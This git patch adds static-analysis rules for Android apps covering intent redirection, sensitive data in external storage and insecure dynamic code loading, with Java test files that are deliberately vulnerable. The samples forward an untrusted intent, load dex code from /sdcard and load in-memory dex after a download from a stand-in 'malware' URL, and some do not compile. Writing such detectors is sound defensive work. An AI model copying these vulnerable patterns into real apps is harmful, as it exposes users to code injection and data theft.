From c92dc179fa60e776aa595ba9c0271d8a4d844d04 Mon Sep 17 00:00:00 2001 From: PhanThanhTam0408 Date: Mon, 4 Sep 2023 14:39:43 +0700 Subject: [PATCH 1/2] [Android] - Intent redirection rules --- java/android/security/intent-redirection.java | 79 +++++++++++++++++++ java/android/security/intent-redirection.yaml | 33 ++++++++ 2 files changed, 112 insertions(+) create mode 100644 java/android/security/intent-redirection.java create mode 100644 java/android/security/intent-redirection.yaml diff --git a/java/android/security/intent-redirection.java b/java/android/security/intent-redirection.java new file mode 100644 index 0000000000..e6718cbee1 --- /dev/null +++ b/java/android/security/intent-redirection.java @@ -0,0 +1,79 @@ +package oversecured.ovaa.activities; + +import android.content.Intent; +import android.os.Bundle; +import android.text.TextUtils; +import android.util.Log; +import android.view.View; +import android.widget.TextView; +import android.widget.Toast; +import androidx.appcompat.app.AppCompatActivity; +import oversecured.ovaa.C0646R; +import oversecured.ovaa.network.LoginService; +import oversecured.ovaa.network.RetrofitInstance; +import oversecured.ovaa.objects.LoginData; +import oversecured.ovaa.utils.LoginUtils; +import retrofit2.Call; +import retrofit2.Callback; +import retrofit2.Response; + +/* loaded from: classes.dex */ +public class LoginActivity extends AppCompatActivity { + public static final String INTENT_REDIRECT_KEY = "redirect_intent"; + private LoginUtils loginUtils; + + /* JADX INFO: Access modifiers changed from: protected */ + @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity + public void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + setContentView(C0646R.layout.activity_login); + LoginUtils loginUtils = LoginUtils.getInstance(this); + this.loginUtils = loginUtils; + if (loginUtils.isLoggedIn()) { + onLoginFinished(); + } else { + findViewById(C0646R.C0648id.loginButton).setOnClickListener(new View.OnClickListener() { // from class: oversecured.ovaa.activities.LoginActivity.1 + @Override // android.view.View.OnClickListener + public void onClick(View view) { + String email = ((TextView) LoginActivity.this.findViewById(C0646R.C0648id.emailView)).getText().toString(); + String password = ((TextView) LoginActivity.this.findViewById(C0646R.C0648id.passwordView)).getText().toString(); + if (TextUtils.isEmpty(email)) { + Toast.makeText(LoginActivity.this, "Email is emply!", 1).show(); + } else if (!TextUtils.isEmpty(password)) { + LoginActivity.this.processLogin(email, password); + } else { + Toast.makeText(LoginActivity.this, "Password is emply!", 1).show(); + } + } + }); + } + } + + /* JADX INFO: Access modifiers changed from: private */ + public void processLogin(String email, String password) { + LoginData loginData = new LoginData(email, password); + Log.d("ovaa", "Processing " + loginData); + LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class); + loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback() { // from class: oversecured.ovaa.activities.LoginActivity.2 + @Override // retrofit2.Callback + public void onResponse(Call call, Response response) { + } + + @Override // retrofit2.Callback + public void onFailure(Call call, Throwable t) { + } + }); + this.loginUtils.saveCredentials(loginData); + onLoginFinished(); + } + + private void onLoginFinished() { + Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY); + if (redirectIntent != null) { + startActivity(redirectIntent); + } else { + startActivity(new Intent(this, MainActivity.class)); + } + finish(); + } +} \ No newline at end of file diff --git a/java/android/security/intent-redirection.yaml b/java/android/security/intent-redirection.yaml new file mode 100644 index 0000000000..d785a0b17e --- /dev/null +++ b/java/android/security/intent-redirection.yaml @@ -0,0 +1,33 @@ +rules: + - id: intent-redirection + mode: taint + pattern-sources: + - by-side-effect: true + pattern-either: + - pattern: Intent $RITENT = (Intent) getIntent(); + - pattern: Intent $RITENT = (Intent) getIntent().$EXTRACTOR(...); + focus-metavariable: $RITENT + pattern-sinks: + - pattern-either: + - pattern-inside: startActivity(...) + - pattern-inside: startService(...) + message: Intent Redirection - App contains an Intent Redirection issue which can allow malicious apps to access private app components or files. + metadata: + masvs: + - MSTG-PLATFORM-2 + references: + - https://mas.owasp.org/MASTG/tests/android/MASVS-CODE/MASTG-TEST-0026/ + category: security + technology: + - android + subcategory: + - vuln + likelihood: MEDIUM + impact: HIGH + confidence: MEDIUM + license: Commons Clause License Condition v1.0[LGPL-2.1-only] + vulnerability_class: + - Code Injection + languages: + - java + severity: WARNING From 3f4ab79ebb6a38fc58b3fb638db44c94c1a6e2e5 Mon Sep 17 00:00:00 2001 From: PhanThanhTam0408 Date: Tue, 5 Sep 2023 00:08:00 +0700 Subject: [PATCH 2/2] [Android] - Insecure code loading/external file storage interaction rules --- .../external-storage-interaction.java | 58 ++++++++++ .../external-storage-interaction.yaml | 56 ++++++++++ .../security/insecure-code-loading.java | 104 ++++++++++++++++++ .../security/insecure-code-loading.yaml | 43 ++++++++ java/android/security/intent-redirection.yaml | 1 + 5 files changed, 262 insertions(+) create mode 100644 java/android/security/external-storage-interaction.java create mode 100644 java/android/security/external-storage-interaction.yaml create mode 100644 java/android/security/insecure-code-loading.java create mode 100644 java/android/security/insecure-code-loading.yaml diff --git a/java/android/security/external-storage-interaction.java b/java/android/security/external-storage-interaction.java new file mode 100644 index 0000000000..2495cf887d --- /dev/null +++ b/java/android/security/external-storage-interaction.java @@ -0,0 +1,58 @@ +package oversecured.ovaa.utils; + +import android.content.Context; +import android.net.Uri; +import java.io.File; +import java.io.FileOutputStream; +import java.io.InputStream; +import java.io.OutputStream; +import org.apache.commons.p008io.IOUtils; + +/* loaded from: classes.dex */ +public class FileUtils { + private FileUtils() { + } + + public static void deleteRecursive(File file) { + File[] listFiles; + if (file.isDirectory()) { + for (File child : file.listFiles()) { + deleteRecursive(child); + } + } + file.delete(); + } + + public static File copyToCache(Context context, Uri uri) { + try { + File out = new File(context.getExternalCacheDir(), "" + System.currentTimeMillis()); + InputStream i = context.getContentResolver().openInputStream(uri); + OutputStream o = new FileOutputStream(out); + IOUtils.copy(i, o); + i.close(); + o.close(); + return out; + } catch (Exception e) { + return null; + } + } + + public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException { + File file = new File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment()); + return ParcelFileDescriptor.open(file, 805306368); + } + + private void updateChecker() { + try { + File file = new File("/sdcard/updater.apk"); + if (file.exists() && file.isFile() && file.length() <= 1000) { + DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader()); + int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue(); + if (Build.VERSION.SDK_INT < version) { + Toast.makeText(this, "Update required!", 1).show(); + } + } + } catch (Exception e) { + } + } +} \ No newline at end of file diff --git a/java/android/security/external-storage-interaction.yaml b/java/android/security/external-storage-interaction.yaml new file mode 100644 index 0000000000..a7c72ab477 --- /dev/null +++ b/java/android/security/external-storage-interaction.yaml @@ -0,0 +1,56 @@ +rules: + - id: external-storage-interaction + severity: WARNING + languages: + - java + metadata: + authors: + - Riccardo Cardelli @gand3lf (IMQ Minded Security) + owasp-mobile: M2 + category: security + area: storage + verification-level: + - L1 + - L2 + references: + - https://github.com/OWASP/owasp-mastg/blob/v1.5.0/Document/0x05d-Testing-Data-Storage.md#testing-local-storage-for-sensitive-data-mstg-storage-1-and-mstg-storage-2 + message: The application could store sensitive data outside of the application + container or system credential storage facilities. + options: + symbolic_propagation: true + pattern-either: + - patterns: + - pattern: openFileOutput($FILENAME, $MODE) + - metavariable-comparison: + comparison: $MODE & (0x0001+0x0002) > 0 + - patterns: + - pattern: $X = ... .getSharedPreferences($P, $M); + - metavariable-comparison: + comparison: $M != 0 + - patterns: + - pattern: $X.$M(...) + - metavariable-regex: + metavariable: $M + regex: ((getExternal).*|getCacheDir) + - patterns: + - pattern-inside: new File($FILENAME) + - metavariable-regex: + metavariable: $FILENAME + regex: ^.*sdcard.* + - patterns: + - pattern-inside: | + $METHOD(...){ ... + $X = ... .$WRT(...); + ... + $X.$MTD(...); + ... } + - metavariable-regex: + metavariable: $WRT + regex: (getWritableDatabase|getReadableDatabase|openOrCreateDatabase|create|openDatabase) + - pattern: $X.$MTD($...ARGS); + - metavariable-regex: + metavariable: $MTD + regex: .*(?i)(query|insert|replace|update).* + - metavariable-regex: + metavariable: $...ARGS + regex: .*(?i)(key|secret|password|pwd|passwd|token|seed|otp(?-i)|IV).* diff --git a/java/android/security/insecure-code-loading.java b/java/android/security/insecure-code-loading.java new file mode 100644 index 0000000000..5dc39f102d --- /dev/null +++ b/java/android/security/insecure-code-loading.java @@ -0,0 +1,104 @@ +package oversecured.ovaa; + +import android.app.Application; +import android.content.Context; +import android.content.pm.PackageInfo; +import android.os.Build; +import android.os.Bundle; +import android.widget.Toast; +import dalvik.system.DexClassLoader; +import java.io.File; + +/* loaded from: classes.dex */ +public class OversecuredApplication extends Application { + @Override // android.app.Application + public void onCreate() { + super.onCreate(); + updateChecker(); + invokePlugins(); + } + + private void invokePlugins() { + for (PackageInfo info : getPackageManager().getInstalledPackages(128)) { + String packageName = info.packageName; + Bundle meta = info.applicationInfo.metaData; + if (packageName.startsWith("oversecured.plugin.") && meta.getInt("version", -1) >= 10) { + try { + Context packageContext = createPackageContext(packageName, 3); + packageContext.getClassLoader().loadClass("oversecured.plugin.Loader").getMethod("loadMetadata", Context.class).invoke(null, this); + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + } + + private void updateChecker() { + try { + File file = new File("/sdcard/updater.apk"); + if (file.exists() && file.isFile() && file.length() <= 1000) { + DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader()); + int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue(); + if (Build.VERSION.SDK_INT < version) { + Toast.makeText(this, "Update required!", 1).show(); + } + } + } catch (Exception e) { + } + } + + private void updateChecker2() { + try { + File file = new File(context.getExternalCacheDir(), "/update.apk"); + if (file.exists() && file.isFile() && file.length() <= 1000) { + DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader()); + int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue(); + if (Build.VERSION.SDK_INT < version) { + Toast.makeText(this, "Update required!", 1).show(); + } + } + } catch (Exception e) { + } + } + + private void downloadFile(String url) { + Thread thread = new Thread(new Runnable() { + @Override + public void run() { + try { + URL u = new URL(url); + URLConnection conn = u.openConnection(); + int contentLength = conn.getContentLength(); + DataInputStream stream = new DataInputStream(u.openStream()); + byte[] buffer = new byte[contentLength]; + stream.readFully(buffer); + stream.close(); + + Log.d("seccheck", "Success of download to buffer"); + } catch (Exception e) { + Log.e("seccheck", e.getMessage()); + } + } + }); + thread.start(); + } + + private void loadAndInvokeInMemoryDex(byte[] buffer) { + downloadFile("https://malware.com.demo"); + byte[] buffer = new byte[100]; + ByteBuffer btBuffer = ByteBuffer.wrap(buffer); + + InMemoryDexClassLoader lder = new InMemoryDexClassLoader(btBuffer, getClassLoader()); + + try { + Class mt = lder.loadClass("com.erev0s.randomnumber.RandomNumber"); + Method checkMethodInMemory = mt.getMethod("getRandomNumber"); + Object newcl = mt.newInstance(); + String result = checkMethodInMemory.invoke(newcl).toString(); + Log.d("seccheck", "Result of invoking method: " + result); + } catch (Exception e) { + Log.e("seccheck", e.getMessage()); + } +} + +} \ No newline at end of file diff --git a/java/android/security/insecure-code-loading.yaml b/java/android/security/insecure-code-loading.yaml new file mode 100644 index 0000000000..2c61677a84 --- /dev/null +++ b/java/android/security/insecure-code-loading.yaml @@ -0,0 +1,43 @@ +rules: + - id: insecure-code-loading + mode: taint + pattern-sources: + - by-side-effect: true + pattern-either: + - patterns: + - pattern-inside: File $LFILE = new File($FILENAME); + - metavariable-regex: + metavariable: $FILENAME + regex: ^.*(\/sdcard\/).* + - focus-metavariable: $LFILE + - patterns: + - pattern: $X.$M(...) + - metavariable-regex: + metavariable: $M + regex: ((getExternal).*|getCacheDir) + - pattern: ByteBuffer $BYTEBUFFER = ByteBuffer.wrap(...); + pattern-sinks: + - pattern-either: + - pattern-inside: new DexClassLoader(...) + - pattern-inside: new PathClassLoader(...) + - pattern: new InMemoryDexClassLoader($BYTEBUFFER, getClassLoader()); + message: Insecure code loading + metadata: + masvs: + - MSTG-PLATFORM + references: + - https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/ + category: security + technology: + - android + subcategory: + - vuln + likelihood: MEDIUM + impact: HIGH + confidence: MEDIUM + license: Commons Clause License Condition v1.0[LGPL-2.1-only] + vulnerability_class: + - Code Injection + languages: + - java + severity: WARNING diff --git a/java/android/security/intent-redirection.yaml b/java/android/security/intent-redirection.yaml index d785a0b17e..0c65e17c46 100644 --- a/java/android/security/intent-redirection.yaml +++ b/java/android/security/intent-redirection.yaml @@ -17,6 +17,7 @@ rules: - MSTG-PLATFORM-2 references: - https://mas.owasp.org/MASTG/tests/android/MASVS-CODE/MASTG-TEST-0026/ + - https://developer.android.com/topic/security/risks/intent-redirection category: security technology: - android